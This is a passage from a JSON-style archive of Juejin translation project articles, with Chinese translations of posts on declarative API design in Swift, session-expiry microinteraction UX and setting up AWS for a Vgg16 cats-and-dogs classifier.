[使用开发者工具进行性能检查的高级技巧](https://docs.google.com/document/d/1K-mKOqiUiSjgZTEscBLjtjd6E67oiK8H2ztOiq5tigk/pub)。如果你和我一样是个书呆子，可以把它收藏起来深入研究。\n\n在文章的最后，我将放上一个让人喜忧参半的资源。我的朋友 James Golick 是一位杰出的程序员，在多年以前做过一个关于 degub 的会议讲话。虽然 James 去世了，但是我们仍然能在这个视频中回忆他、向他学习。[点击观看视频]([https://youtu.be/VV7b7fs4VI8](https://youtu.be/VV7b7fs4VI8))\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/declarative-api-design-in-swift.md",
    "content": "> * 原文地址：[Declarative API Design in Swift](http://blog.benjamin-encz.de/post/declarative-api-design-in-swift/)\n* 原文作者：[Benjamin Encz](http://blog.benjamin-encz.de/about)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zheaoli](https://github.com/Zheaoli)\n* 校对者：[luoyaqifei](https://github.com/luoyaqifei), [Edison-Hsu](https://github.com/Edison-Hsu)\n\n# Swift 声明式程序设计\n\n在我第一份 iOS 开发工程师的工作中，我编写了一个 XML 解析器和一个简单的布局工具，两个东西都是基于声明式接口。XML 解析器是基于 `.plist` 文件来实现 Objective-C 类关系映射。而布局工具则允许你利用类似 HTML 一样标签化的语法来实现界面布局（不过这个工具使用的前提是已经正确使用 `AutoLayout` & `CollectionViews`）。\n\n尽管这两个库都不完美，它们还是展现了声明式代码的四大优点：\n\n*   **关注点分离**: 我们在使用声明式风格编写的代码时声明了意图，从而无需关注具体的底层实现，可以说这样的分离是自然发生的。\n*   **减少重复的代码**: 所有声明式代码都共用一套样式实现，这里面很多属于配置文件，这样可以减少重复代码所带来的风险。\n*   **优秀的 API 设计**: 声明式 API 可以让用户自行定制已有实现，而不是将已有实现做一种固定的存在看待。这样可以保证修改程度降至最小。\n*   **良好的可读性**: 讲真，按照声明式 API 所写出来的代码简直优美无比。\n\n这些天我写的大多数 Swift 代码非常适用于声明式编程风格。\n\n不管是对于某一种数据结构的描述，或者是对某个功能的实现，在编写过程中，我最常使用的类型还是一些简单的结构体。声明不同的类型，主要是基于泛型类，然后这些东西负责实现具体的功能或者完成必要的工作。我们在 PlanGrid 开发过程中采用这种方法来编写我们得 Swift 代码。这种开发方式已经对对代码可读性的提升还有开发人员的效率提升上产生了巨大的影响。\n\n本文我想讨论的是 PlanGrid 应用中所使用的 API 设计，它原本使用 NSOperationQueue 实现，现在使用了一种更接近声明式的方法－讨论这个 API 应该可以展示声明式编程风格在各方面的好处。\n\n## 在 Swift 中构建一个声明式请求序列\n\n我们重新设计的 API 用来将本地变化（也可能是离线发生的）与 API 服务器进行同步。我不会讨论这种变化追踪方法的细节，而是将精力放在网络请求的生成和执行上。\n\n在这篇文章里，我想专注于一个特定的请求类型上：上传本地生成的图片。出于多种因素的考虑（超出本文讨论范围），上传图片的操作包括三次请求：\n\n1.  向 API 服务器发起请求，API 服务器将会响应，响应内容为向 AWS 服务器上传图片所需信息。\n2.  上传图片至 AWS （使用上次请求得到的信息）。\n3.  向 API 服务器发起请求以确认图片上传成功。\n\n既然我们有包括这些请求序列的上传任务，我们决定将其抽象成一个特殊的类型，并让我们的上传架构支持它。\n\n### 定义请求序列协议\n\n我们决定引入一个单独的类型来对网络请求序列进行描述。这个类型将被我们的上传者类使用，上传者类的作用是将描述转化为实在的网络请求(要提醒你们的是我们不会在本篇文章中讨论上传者类的实现）。\n\n接下来这个类型是我们控制流的精髓：我们有一个请求序列，序列中的每个请求都可能依赖于前一个请求的结果。\n\n小贴士: 接下来的代码里的一些类型的命名方式看起来有点奇怪，但是它们中大多数是根据应用专属术语集来命名的（如： Operation ）。\n\n~~~Swift\n    public typealias PreviousRequestTuple = (\n    \trequest: PushRequest,\n    \tresponse: NSURLResponse,\n    \tresponseBody: JsonValue?\n    )\n\n    /// A sequence of push requests required to sync this operation with the server.\n    /// As soon as a request of this sequence completes,\n    /// `PushSyncQueueManager` will poll the sequence for the next request.\n    /// If `nil` is returned for the `nextRequest` then\n    /// this sequence is considered complete.\n    public protocol OperationRequestSequence: class {\n        /// When this method returns `nil` the entire `OperationRequestSequence`\n        /// is considered completed.\n        func nextRequest(previousRequest: PreviousRequestTuple?) throws -> PushRequest?\n    }\n~~~\n\n通过调用 `nextRequest:` 方法来让请求序列生成一个请求时，我们提供了一个对前一个请求的引用，包括 `NSURLResponse` 和 JSON 响应体（如果存在的话）。每一个请求的结果都可能在下一次请求时产生（（将会返回一个 `PushRequest` 对象），除了没有下一次请求（返回 `nil` ）或者在请求过程中发生了一些以外的情况导致没有返回必要的响应以外（请求序列在该情况下 `throws` ）。\n\n值得注意的是， PushRequest 并不是这个返回值类型的理想名。这个类型只是描述一个请求的详情（结束符，HTTP 方法等等），其并不参与任何实质性的工作。这是声明式设计中很重要的一个方面。\n\n你可能已经注意到了这个协议依赖于一个特定 `class` ，我们这样做是因为我们意识到 `OperationRequestSequence` 其是一个状态描述类型。它需要能够捕获并使用前面的请求所产生的结果（比如：在第三个请求里可能需要获取第一个请求的响应结果）。这个做法参考了 `mutating` 方法的结构，不得不说这样的行为貌似让这部分有关上传操作的代码变得更为复杂了（所以说重新赋值变化结构体并不是一件那么简单的事儿）\n\n在基于 `OperationRequestSequence` 协议实现了我们第一个请求序列后，我们发现相比实现 `nextRequest` 方法来说，简单地提供一个数组来保存请求链更合适。于是我们便添加了 `ArrayRequestSequence` 协议来提供了一个请求数组的实现：\n\n~~~Swift\n    public typealias RequestContinuation = (previous: PreviousRequestTuple?) throws -> PushRequest?\n\n    public protocol ArrayRequestSequence: OperationRequestSequence {\n        var currentRequestIndex: Int { get set }\n        var requests: [RequestContinuation] { get }\n    }\n\n    extension ArrayRequestSequence {\n        public func nextRequest(previous: PreviousRequestTuple?) throws -> PushRequest? {\n            let nextRequest = try self.requests[self.currentRequestIndex](previous: previous)\n            self.currentRequestIndex += 1\n            return nextRequest\n        }\n    }\n~~~\n\n这个时候，我们定义了一个新的上传序列，这只是很微小的一点工作。\n\n### 实现请求序列协议\n\n作为一个小例子，让我们看看用来上传快照的上传序列吧（在 PlanGrid 中，快照指的是在图片中绘制的可导出的蓝图或者注释）：\n\n~~~Swift\n    /// Describes a sequence of requests for uploading a snapshot.\n    final class SnapshotUploadRequestSequence: ArrayRequestSequence {\n\n        // Removed boilerplate initializer &\n        // instance variable definition code...\n\n        // This is the definition of the request sequence\n        lazy var requests: [RequestContinuation] = {\n            return [\n                // 1\\. Get AWS Upload Package from API\n                self._allocationRequest,\n                // 2\\. Upload Snapshot to AWS\n                self._awsUploadRequest,\n                // 3\\. Confirm Upload with API\n                self._metadataRequest\n            ]\n        }()\n\n        // It follows the detailed definition of the individual requests:\n\n        func _allocationRequest(previous: PreviousRequestTuple?) throws -> PushRequest? {\n        \t// Generate an API request for this file upload\n        \t// Pass file size in JSON format in the request body\n            return PushInMemoryRequestDescription(\n                relativeURL: ApiEndpoints.snapshotAllocation(self.affectedModelUid.value),\n                httpMethod: .POST,\n                jsonBody: JsonValue(values:\n                    [\n                        \"filesize\" : self.imageUploadDescription.fullFileSize\n                    ]\n                ),\n                operationId: self.operationId,\n                affectedModelUid: self.affectedModelUid,\n                requestIdentifier: SnapshotUploadRequestSequence.allocationRequest\n            )\n        }\n\n        func _awsUploadRequest(previous: PreviousRequestTuple?) throws -> PushRequest? {\n        \t// Check for presence of AWS allocation data in response body\n            guard let allocationData = previous?.responseBody else {\n                throw ImageCreationOperationError.MissingAllocationData\n            }\n\n            // Attempt to parse AWS allocation data\n            self.snapshotAllocationData = try AWSAllocationPackage(json: allocationData[\"snapshot\"])\n\n            guard let snapshotAllocationData = self.snapshotAllocationData else {\n                throw ImageCreationOperationError.MissingAllocationData\n            }\n\n            // Get filesystem path for this snapshot\n            let thumbImageFilePath = NSURL(fileURLWithPath:\n                SnapshotModel.pathForUid(\n                    self.imageUploadDescription.modelUid,\n                    size: .Full\n                )\n            )\n\n            // Generate a multipart/form-data request\n            // that uploads the image to AWS\n            return AWSMultiPartRequestDescription(\n                targetURL: snapshotAllocationData.targetUrl,\n                httpMethod: .POST,\n                fileURL: thumbImageFilePath,\n                filename: snapshotAllocationData.filename,\n                operationId: self.operationId,\n                affectedModelUid: self.affectedModelUid,\n                requestIdentifier: SnapshotUploadRequestSequence.snapshotAWS,\n                formParameters: snapshotAllocationData.fields\n            )\n        }\n\n        func _metadataRequest(previous: PreviousRequestTuple?) throws -> PushRequest? {\n            // Generate an API request to confirm the completed upload\n            return PushInMemoryRequestDescription(\n                relativeURL: ApiEndpoints.snapshotAllocation(self.affectedModelUid.value),\n                httpMethod: .PUT,\n                jsonBody: self.snapshotMetadata,\n                operationId: self.operationId,\n                affectedModelUid: self.affectedModelUid,\n                requestIdentifier: SnapshotUploadRequestSequence.metadataRequest\n            )\n        }\n\n    }\n~~~\n\n\n在实现的过程中你应该注意这样几件事情：\n\n*   这里面几乎没有命令式代码。大多数的代码都通过实例变量和前次请求的结果来描述网络请求。\n*   代码并不调用网络层，也没有任何上传操作的类型信息。它们只是对每个请求的详情进行了描述。事实上，这段代码没有能被观测到的副作用，它只更改了内部状态。\n*   这段代码里可以说没有任何的错误处理代码。这个类型只负责处理该请求序列中发生的特定错误（比如前次请求并未返回任何结果等）。而其余的错误通常都在网络层予以处理了。\n*   我们使用 `PushInMemoryRequestDescription`/`AWSMultipartRequestDescription` 来对我们对自己的 API 服务器或者是对 AWS 服务器发起请求的行为进行抽象。我们的上传代码将会根据情况在两者之前进行切换，对两者使用不同的 URL 会话配置，以免将我们自有 API 服务器的认证信息发送至 AWS 。\n\n我不会详细讨论整个代码，但是我希望这个例子能充分展现我之前提到过的声明式设计方法的一系列优点：\n\n*   **关注点分离**: 上面编写的类型只有描述一系列请求这一单一功能。\n*   **减少重复的代码**: 上面编写的类型里面只包含对请求进行描述的代码，并不包含网络请求及错误处理的代码。\n*   **优秀的 API 设计**: 这样的 API 设计能有效的减轻开发者的负担，他们只需要实现一个简单的协议以确保后续产生的请求是基于前一个请求结果的即可。\n*   **良好的可读性**: 再次声明，以上代码非常集中；我们不需要在样板代码的海洋里游泳，就可以找到代码的意图。那也说明，为了更快地理解这段代码，你需要对我们的抽象方式有一定的了解。\n\n现在可以想想如果利用 `NSOperationQueue` 来替代我们的方案会怎么样？\n\n### 什么是 `NSOperationQueue` ？\n\n采用 `NSOperationQueue` 的方案复杂了很多，所以在这篇文章里给出相对应的代码并不是一个很好的选择。不过我们还是可以讨论下这种方案。\n\n**关注点分离**在这种方案中难以实现。和对请求序列进行简单抽象不同的是，`NSOperationQueue` 中的 `NSOperations` 对象将负责网络请求的开关操作。这里面包含请求取消和错误处理等特性。在不同的位置都有相似的上传代码，同时这些代码很难进行复用。在大多数上传请求被抽象成一个` NSOperation` 的情况下，使用子类并不是一个好选择，虽然说我们得上传请求队列被抽象成为一个被 `NSOperationQueue` 所装饰的 `NSOperation` 。\n\n`NSOperationQueue` 中的无关信息相当多。。代码中随处可见对网络层的操作和调用 `NSOperation` 中的特定方法，比如 `main` 和 `finish` 方法。在没有深入了解具体的 API 调用规则前，很难知道具体操作是用来做什么的\n\n**这种 API 所采用的处理方式，某种意义上让开发者的开发体验变得更差了**。和简单的实现相对应的协议不同的是，在 Swift 中如果采用上述的开发方式，人们需要去了解一些约定俗成的规定，尽管这些规定可能并不强制要求你遵守。\n\n**这种处理方式将会显著增加开发者的负担。**与实现一个简单协议不同的是，在新版本的 Swift 中实现这样的代码的话，我们需要去理解一些特有的约定。尽管很多被记载下来的约定并不是与编程相关的。\n\n由于一些其他原因，该 API 可能会导致一些与网络请求的错误报告相关的 bug 。为了避免每个请求操作都执行自己的错误报告代码，我们将其集中在一个地方进行处理。错误处理代码将会在请求结束之后开始执行。然后代码将会检查请求类型中的 error 属性的值是否存在。为了及时地反馈错误信息，开发者需要及时在操作完成之前设置 `NSOperation` 中的 `error` 属性的值。由于这是一个非强制性约定导致一堆新代码忘记设置其属性的值，可能会导致诸多错误信息的遗失。\n\n所以啊，我们很期待我们介绍的这样一种新的方式能帮助开发者们在未来编写上传及其余功能的代码。\n\n## 总结\n\n声明式的编程方法已经对我们的编程技能和开发效率产生了巨大的影响。我们提供了一种受限的 API ，这种 API 用途单一且不会留下一堆迷之 Bug 。我们可以避免使用子类及多态等一系列手段，转而使用基于泛型类型的声明式风格代码来替代它。我们可以写出优美的代码。我们所编写的代码都是能很方便的进行测试的(关于这点，编程爱好者们可能觉得在声明式风格代码中测试可能不是必要的。）所以你可能想问：“别告诉我这是一种完美无瑕的编程方式？”\n\n首先，在具体的抽象过程中，我们可能会花费一些时间与精力。不过，这种花费可以通过仔细设计 API ，并并通过提供一些测试，代替用例实现功能，为使用者提供参考。\n\n其次，请注意，声明式编程并不是适用于任何时间任何业务的。要想适用声明式编程，你的代码库里至少要有一个用相似方法解决了多次的问题。如果你尝试在一个需要高度可定制化的应用里使用声明式编程， 然后你又对整个代码进行了错误的抽象，那么最后你会得到如同乱麻一般的**半**声明式代码。对于任何的抽象过程而言，过早地进行抽象都会造成一大堆令人费解的问题。\n\n**声明式 API 有效地将 API 使用者身上的压力转移至 API 开发者身上，对于命令式 API 则不需要这样**。为了提供一组优秀的声明式 API ，API 的开发者必须确保接口的使用与接口的实现细节进行严格的隔离。不过严格遵循这样要求的 API 是很少的。React 和 GraphQL 证明了声明式 API 能有效提升团队编码的体验。\n\n其实我觉得，这只是一个开端，我们会慢慢发现在复杂的库中所隐藏复杂的细节和对外提供的简单易用的接口。期待有一天，我们能利用一个基于声明式编程的 UI 库来构建我们的 iOS 程序。\n"
  },
  {
    "path": "TODO/deconstructing-the-poor-design-of-a-well-intentioned-microinteraction.md",
    "content": ">* 原文链接 : [Deconstructing the Poor Design of a Well-Intentioned Microinteraction](https://medium.com/ux-immersion-interactions/deconstructing-the-poor-design-of-a-well-intentioned-microinteraction-e667e022e628#.u41e59zgi)\n* 原文作者 : [Jared M. Spool](https://medium.com/@jmspool)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [L9m](https://github.com/L9m)\n* 校对者: [shenxn](https://github.com/shenxn), [Hugo Xie](https://github.com/xcc3641)\n* 状态： 翻译完成\n\n# 为什么有些设计初衷很好，结果却很糟糕\n\n美航的乘客愣愣地盯着屏幕上的突然出现的信息：**你的会话已过期**。她对此不知所措。\n\n刚刚，在她意识到自己已经买了机票之后，她又打开另一个标签页，预定这次旅行的酒店房间，又租了一辆车。随后返回到美国航空的标签页获取她的确认编号，同时记录在她的日历上。\n\n取确认编号代之的是过期提示。**所有已确认事务都已保存，但你需要重新开始未完成的事务或重新开始查询**已经完成了吗？她很确定自己买了票，票被确认了吗？她不知道接下来该做什么。\n\n#### 一种典型的安全性设计模式\n\n美国航空的设计者们有很多理由想要一个会话过期。如果用户不确定航班（或是最终从其他渠道购买），就可能会留下一个未完成的预定。而美国航空的设计者希望将这些未完成的预定返回到库存中，使得其他用户可以预定这些座位。\n\n同样，如果某个人在别人订票完成但没关闭浏览器的情况下使用机器，他们就有可能获取用户不愿意公开的详细资料和使用账号功能。有会话过期就可以防止混乱。\n\n不只有美国航空会使用会话过期。银行网站，业务工具和其他应用也是如此，如果某人花太长时间或长时间未活动，将会强行使某人下线。\n\n网站常常使用**你的会话已过期**的设计模式来处理会话过期。这个消息会在任意时间弹出。对大多数用户来说，这通常以为着没什么好消息。无论是一个重要功能中断或或只是令人困扰。\n\n#### 初衷很好但交互性差\n\n**你的会话已过期** 设计模式是一个微交互，微交互指的是设计中一些微小的功能性交互。微交互构成了所有的设计但却遭到设计团队的轻视。这个设计模式也不例外。\n\n![](https://cdn-images-1.medium.com/max/600/1*h11V6a7RWk1PxpVMzp1z9A.jpeg)]\n\n美国航空的设计者们想要从坏人的手中保护他们的客户。一个高尚的目标。\n\n然而，他们似乎并没有注意到突然过期会话给用户带去了糟糕的用户体验。当用户面对这消息（错误信息的一种形式），他们并不知道应该如何继续。\n\n会话过期在真实世界不会常常发生。当你在杂货店购物时，你的购物车不会因为你长时间未添加东西而突然清空。当你绕街区走了很长一段路后，不会自动被锁在你房子外面。你的电视不会每过15分钟就检查一次你是否还在房间里。\n\n会话过期随处可见，可见我们的真实世界和数字世界是多么不协调。如果你的笔记本能准确知道其他某个人坐在它之前，我们就能更好的从坏人手中保护用户。\n\n保护业务需求这个初衷是好的。\n\n设计就是我们在真实世界中呈现我们想法的方式。美国航空的会话过期使它的用户感到困扰，这些并不是美国航空网站设计者们的初衷。我们能怎样提高呢？\n\n#### 用微交互框架改进设计\n\n近几年来，Dan Saffer 致力于研究于微交互的设计 并写了一本叫_微交互._的书。Dan 把微交互分解成四个构成因素：**反馈, 模式 和 循环, 触发器,** 以及 **规则** 。我们能从这四构成因素着手改进美国航空网站的会话过期的微交互。\n\n**反馈** 是用户怎样去了解这个微交互。在这里, 一个对话框提示用户会话已过期，但是没有告诉用户意味着什么. 他确实解释了“确认的交易已保存”，但是没有解释确认的交易是什么或保存的是什么。一个已经预定的航班是一个确认的交易吗？\n\n使用用户熟悉的语言会更有帮助吗？（一条像**“你飞往皮奥里亚的航班已出票，确认邮件已发至您的邮箱”** 这样的信息是不是好很多？）\n\n按钮上唯一标签标示回到首页。回到首页后用户要干嘛呢？下一步可能的操作是什么？对话框能否列出一些用户下面该做的事（然后要他们重新认证，确保是同一用户）？\n\n**模式** 是系统如何决定用户可以访问哪些内容。在美国航空的网站上，他们看起来使用一种二元验证 — 用户有权使用或无权。当会话过期，系统会从验证状态变成未验证状态。\n\n根据下一步可能的操作，设计者是否应该考虑不仅仅使用二元验证的模式？\n\n**触发器** 决定何时触发微交互。 看起来美国航空的会话过期触发器会在最后一个页面加载后15分钟后触发。\n\n使用页面加载作为计时器的起点合适吗？如果用户用键盘或鼠标改变焦点，应重启计时吗？\n\n为什么是15分钟？为什么不是20或40分钟？15分钟的依据在哪里，什么研究表明它是最佳时间？\n\n航班预订成功后，与机票预定成功之前应该使用相同的过期时间吗？毕竟，一个未预订的航班可能供不应求，但在被预订之后不再可订。\n\n触发器应该完全基于时间吗？有没有更好的方法能确定用户已经对网页没有兴趣了或是已经离开了（即产生了一个安全威胁）？\n\n如果触发器是基于下一个操作的呢？ 如果屏幕不动，微交互不会触发。但是如果用户试图在会话过期后做点什么，是否可以通过微交互告知用户需要重新认证或是重新确认库存？\n\n**规则** 指导微交互的行为。会话过期的规则是为了防止进一步访问，从验证状态变成未验证状态，并给用户反馈。\n\n我们需要告诉用户他们的会话已过期吗？毕竟，根据这个消息他们也做不了什么。反之，如果没有提示，然后在用户做任何试图需要身份验证的访问时，我们可以触发登录的微交互？\n\n#### 有意设计的微交互体验\n\n像安全执行，存量管理这样的业务需求总是在牺牲用户体验？会话过期的确解决了一些问题，但这种设计是最好的吗？\n\n许多微交互，像错误信息和警报，都是无意之中为之。通常，一个开发者急于赶时间，不会考虑在边缘状况时用户的体验。\n\n注重这些小细节并提出问题 会创造一个更好的体验。Dan 的微交互框架会帮助我们发现其中的问题，反过来，能让我们更好的设计。\n\n微交互对构建优秀的用户体验是至关重要的，我们邀请 Dan Saffer 组织了一次名为[**使用微交互设计关键的细节**](https://uxi16.uie.com/workshops/designing-the-critical-details-using-microinteractions?src=workshop-desc)的研讨会。它是4月18-20日在加利福尼亚的圣迭戈 UX Immersion 的一部分。Dan 的研讨会有充实的数据，精彩的观点，设计出彩的做法，有效的微交互。不要错过。 详情请点击 [uxi16.com](https://uxi16.uie.com/#designing-the-critical-details-using-microinteractions)。\n\n"
  },
  {
    "path": "TODO/deep-learning-1-setting-up-aws-image-recognition.md",
    "content": "\n> * 原文地址：[Deep Learning #1: Setting up AWS & Image Recognition](https://medium.com/towards-data-science/deep-learning-1-1a7e7d9e3c07)\n> * 原文作者：[Rutger Ruizendaal](https://medium.com/@r.ruizendaal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-1-setting-up-aws-image-recognition.md](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-1-setting-up-aws-image-recognition.md)\n> * 译者：[lileizhenshuai](https://github.com/lileizhenshuai)\n> * 校对者：[Tina92](https://github.com/Tina92) [sqrthree](https://github.com/sqrthree)\n\n# 深度学习系列1：设置 AWS & 图像识别\n\n**这篇文章是深度学习系列的第一部分。你可以在[这里](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-2-convolutional-neural-networks.md)查看第二部分，以及[这里](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-3-more-on-cnns-handling-overfitting.md)查看第三部分。**\n\n![](https://cdn-images-1.medium.com/max/1600/1*y3guCmNkYLF2uR09Fslh5g.png)\n\n本周的任务：对猫和狗的图像进行分类\n\n欢迎阅读本系列第一篇关于实战深度学习的文章。在本文中，我将创建 Amazon Web Services（AWS）实例，并使用预先训练的模型对猫和狗的图像进行分类。\n\n在这个完整的系列里，我会记录下我在 Fast AI 深度学习课程的第一部分内容的进度。这门课程最初是由旧金山大学数据研究所提供的，并且现在能够在 MOOC 上观看。最近，这门课的作者提供了第二部分的内容，并且在接下来的几个月都可以在网上观看。我上这门课的主要是因为我对深度学习有着强烈的兴趣。我在网上发现了许多关于机器学习的课程，但有关深度学习的实战课程还是比较少见的。深度学习似乎因为进入门槛略高一点，而被单独列出。开始深度学习之前我们首先需要一个 GPU，在这门课程里我们会使用 AWS 的 p2 实例。现在让我们一起来准备它。\n\n这门课程第一周，我们会把重点放在准备工作上。正确地准备深度学习需要一点时间，但这对一切能正确运行很重要。这包括了设置 AWS，创建和配置 GPU 实例，设置 ssh 连接服务器以及管理你的目录。\n\n我在实习期用的笔记本电脑上遇到了一些权限问题。我有个建议能够避免这个问题，从而帮你节省大量时间：在尝试操作之前，确保你在你的笔记本电脑上拥有完整的管理员权限。一些热情的工程师提出帮助我设置 GPU 实例，但是他们不能马上帮我搞定，所以我决定自己来。\n\n用来设置 AWS 的脚本是用 bash 写的，如果你用的是 Windows 操作系统，那么你需要一个能够处理它的程序，我用的是 Cygwin。我想分享一些在设置过程中我遇到的问题（以及对应的解决方案）。如果你没有在上 Fast AI 课程，你可以跳过这部分继续阅读。我在设置过程中所遇到的问题有：\n\n- bash 脚本报错\n\n  我看过一些可能的原因，但是没有一个是对我有用的解决方案。Github 上这个课程的设置脚本有两个：setup_p2.sh 和 setup_instance.sh。如果上面那两个脚本不能用，你可以用[这个](https://github.com/ericschwarzkopf/courses/blob/dc06ce745a30850e7937858fb26a67df2aff329d/setup/setup_p2.sh)脚本试试。但如果这个脚本还是不行，请务必再尝试使用原始版本的脚本。\n\n  我在 aws-alias.sh 这个脚本上也遇到了同样的问题，在第七行的末尾加上 `'` 能够解决这个问题。下面是修改前和修改后的第七行：\n\n  > alias aws-state='aws ec2 describe-instances --instance-ids $instanceId --query \"Reservations[0].Instances[0].State.Name\"\n  \n  > alias aws-state='aws ec2 describe-instances --instance-ids $instanceId --query \"Reservations[0].Instances[0].State.Name\"'\n\n  [这里](https://gist.github.com/LeCoupa/122b12050f5fb267e75f)有一个为不熟悉 Bash 的人准备的 Bash 备忘录，因为你需要通过 Bash 来和你的实例进行交互，所以我非常推荐你去看看。\n\n- Anaconda 的安装。视频中提到你需要在安装 Cygwin 之前先安装 Anaconda。你可能感到有些疑惑，因为你需要用“Cygwin python”来运行 pip 命令而不是一个本地的 Anaconda 分发版。\n\n另外，[这个](https://github.com/TomLous/practical-deep-learning)仓库有一个手把手的教程教你如何让你的实例运行起来。\n\n---\n\n#### 开始深度学习\n\n解决了一些问题之后我总算让我的 GPU 实例运行起来了。是时候开始深度学习了！一个简短的免责声明：在这一系列博客中，我不会重复已经在课程笔记中列出的内容，因为没必要。我会强调一些我觉得很有趣的事情，以及我在课程中遇到的问题和一些想法。\n\n让我们从第一个可能已经在你脑海中的问题开始：**什么是深度学习？它现在为什么被炒得这么火？**\n\n深度学习只是一个有着多个隐含层的人造神经网络，隐含层让它变得“深度”。一般的神经网络只有一层或者两层的隐含层，而一个深度神经网络有更多的隐含层。它们也具有与一般神经网络中的“简单”层不同类型的层。\n\n![](https://cdn-images-1.medium.com/max/1600/1*CcQPggEbLgej32mVF2lalg.png)\n\n(浅) 神经网络\n\n目前，深度学习在一些著名的数据集上不断地有着出色的表现，所以深度学习也经历了不少的炒作。深度学习的流行有三个原因：\n\n- 无限灵活的函数\n- 通用参数拟合\n- 迅速以及可拓展\n\n神经网络是通过模仿人脑而设计的。根据通用近似定理，它理论上能拟合任何函数。神经网络通过反向传播算法来训练，这使得我们能够调整模型的参数来适应不同的函数。最后一个原因，也是深度学习近期取得众多成就的主要原因。因为游戏行业的进步和 GPU 计算能力的强劲发展，现在我们以非常快速和可扩展的方式来训练深层的神经网络。\n\n在第一节课里，我们的目标是使用一个叫做 Vgg16 的预先训练好的模型，来对猫和狗的图片进行分类。Vgg16 是 2014 年赢得 Imagenet 比赛模型的一个轻量级版本。这是一个年度的比赛并且可能是计算机视觉方面最大的一个比赛。我们可以利用这预先训练好的模型，并且把它应用到我们的猫和狗的图片数据集上。我们的数据集已经被课程的作者编辑过了，以确保它的格式正确。原始的数据集可以在 [Kaggle](https://www.kaggle.com/c/dogs-vs-cats) 上找到。这场比赛最初是在 2013 年进行的，那时的准确率是 80％。而我们的简单模型已经能够达到 97％的准确度。大脑现在还清醒吧？下面是一些照片和他们被预测的标记：\n\n![](https://cdn-images-1.medium.com/max/1600/1*y3guCmNkYLF2uR09Fslh5g.png)\n\n狗狗们和猫猫们被预测的标记\n\n我们用叫做独热编码的方法来处理目标标记，这是分类问题中常用的方法。[1. 0.] 说明图片中是一只猫， [0. 1.] 则说明是一只狗。我们没有用一个叫做“目标”的有 0 和 1 两种取值的变量，而是创建了一个包含两个值的数组。你可以把这些变量看成“猫猫”和“狗狗”。如果变量为正，那么它就会被标记为 1，否则就是 0。在一个多分类问题中，这意味着你的输出向量可能长成这样：[0 0 0 0 0 0 0 1 0 0 0]。在这个例子中，Vgg16 模型会输出图片属于“猫”这个类别的可能性以及属于“狗”这个类别的可能性。接下来的一个挑战是调整这个模型，以便我们将其应用于另一个数据集。\n\n---\n\n#### **狗狗还是猫猫 终极版**\n\n本质上这个数据集和先前的是同一个数据集，但是没有被课程作者预处理过。Kaggle 命令行接口（CLI）提供了一个快捷的方法来下载这个数据集，可以通过 pip 来安装。一个美元标志通常用来表示命令运行在终端中。\n\n    $ pip install kaggle-cli\n\n训练数据集中有 25000 张已经被标记为猫或是的狗的图片，测试数据集中则包含 12500 张未被标记的图片。为了调整参数，我们还通过占用训练集的一小部分来创建验证数据集。设置一个完整数据集的“样本”也很有用，可以用来快速检查你的模型在构建过程中是否正常工作。\n\n我们使用 Keras 库来运行我们的模型，这个库是基于 Thenao 和 TensorFlow 的最流行的深度学习库之一。Keras 能够让你更加直观地来编写神经网络，这意味着你能够更多地关注神经网络的架构而不用担心 TensorFlow API。因为Keras 通过查看图片所属的目录来确定它的类别，所以把图片移动到正确的目录非常的重要。这些操作所需的 bash 命令可以直接在 Jupyter Notebook 中运行，也就是我们写代码的地方。[这个](https://www.cyberciti.biz/faq/mv-command-howto-move-folder-in-linux-terminal/)链接包含了额外的一些关于这些命令的信息。\n\n一个 epoch，也就是在数据集完整地跑一遍，在我的 Amazon p2 实例上花费了 10 分钟时间。在这个例子里数据集是包含 23000 张图片的训练数据集，另外的 2000 张图片被保留下来作为验证数据集。在这里我决定使用 3 个 epoch。在验证数据集上的准确度在 98% 左右。训练好模型之后，我们可以看一些被正确分类的图片。在这个例子里，我们用图片中是一只猫的概率作为结果。1.0 表示模型非常自信地认为图片中是一只猫，而 0.0 则表示图片中是一只狗。\n\n![](https://cdn-images-1.medium.com/max/1600/1*fgOX3G_imeRsodKuBBA8Tg.png)\n\n被正确分类的图片\n\n现在让我们来看一些被错误分类的图片。正如我们所见，这些图片大部分是从远处拍摄的，并且图片里有多种动物。原始的 Vgg 模型是用在图片中只有一种清晰可见目标类别中的。只有我觉得第四张图片有点可怕吗？\n\n![](https://cdn-images-1.medium.com/max/1600/1*jD6t1ifVrrGq571eh5lqhA.png)\n\n被错误分类的图片\n\n最后，这些是模型对其类别最不确定的一些图片。这意味着概率非常接近 0.5（1 代表是一只猫而 0 代表是一只狗）。第四张图片中的猫只有一张脸露出来。第一张和第三张图片是长方形的而不是原模型训练集中的正方形。\n\n![](https://cdn-images-1.medium.com/max/1600/1*zlSUpvspBf9zYm175uaY1w.png)\n\n模型最不确定的图片\n\n这就是这周的内容。就我个人而言，我已经迫不及待地想要开始第二周的课程并且学习更多关于这个模型的内部细节。希望我们也能开始利用 Keras 从头构建一个模型。\n\n同时，感谢所有更新 GitHub 脚本的人，这可帮了大忙！另外也要感谢所有参与 Fast AI 论坛的人，你们太棒了。\n\n如果你喜欢这篇文章，请把它推荐给你的朋友们，让更多人的看到它。你也可以按照这篇文章，跟上我在 Fast AI 课程中的进度。到时候那里见！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 